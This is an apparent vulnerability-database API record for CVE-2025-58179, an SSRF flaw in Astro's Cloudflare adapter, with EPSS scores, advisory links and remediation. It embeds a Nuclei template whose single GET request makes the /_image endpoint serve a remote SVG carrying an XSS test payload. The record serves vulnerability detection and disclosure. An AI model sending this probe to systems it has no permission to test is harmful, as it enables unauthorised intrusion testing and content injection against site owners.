{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-58179/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-58179/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-58179/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-58179/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-58179/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-58179/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2025-58179"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2025-58179"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.0087,"kev":false,"percentile":0.58797},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-58179.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2025-58179\n\ninfo:\n  name: Astro Cloudflare Adapter - Server Side Request Forgery\n  author: HoangAnhThai\n  severity: high\n  description: |\n    Astro is a web framework for content-driven websites. Versions 11.0.3 through 12.6.5 are vulnerable to SSRF when using Astro's Cloudflare adapter. When configured with output: 'server' while using the default imageService: 'compile', the generated image optimization endpoint doesn't check the URLs it receives, allowing content from unauthorized third-party domains to be served. a A bug in impacted versions of the @astrojs/cloudflare adapter for deployment on Cloudflare’s infrastructure, allows an attacker to bypass the third-party domain restrictions and serve any content from the vulnerable origin.\n  impact: |\n    Unauthenticated attackers can bypass third-party domain restrictions to serve arbitrary content from unauthorized domains through the image optimization endpoint, potentially enabling XSS attacks.\n  remediation: |\n    Upgrade Astro's @astrojs/cloudflare adapter to version 12.6.6 or later that properly validates image URLs.\n  reference:\n    - https://github.com/withastro/astro/commit/9ecf359\n    - https://github.com/advisories/GHSA-qpr4-c339-7vq8\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-58179\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N\n    cvss-score: 7.2\n    cve-id: CVE-2025-58179\n    epss-score: 0.0087\n    epss-percentile: 0.5891\n    cwe-id: CWE-918\n    cpe: cpe:2.3:a:withastro:astro:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: withastro\n    product: astro\n  tags: cve,cve2025,ssrf,xss,astro,cloudflare,vuln,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/_image?href=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '<script type=\"text/javascript'\n          - 'alert(document.domain);'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"image/svg+xml\"\n\n      - type: status\n        status:\n          - 200\n# digest: 480a00453043021f04112f7708f29b2d9c92287f43a69c30a7702bd426160753aff022568397f202207c4cfaec8ed747d6f9669c8a0ddde575e31d8c1576d5b02765810b7c117a8f57:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-58179"}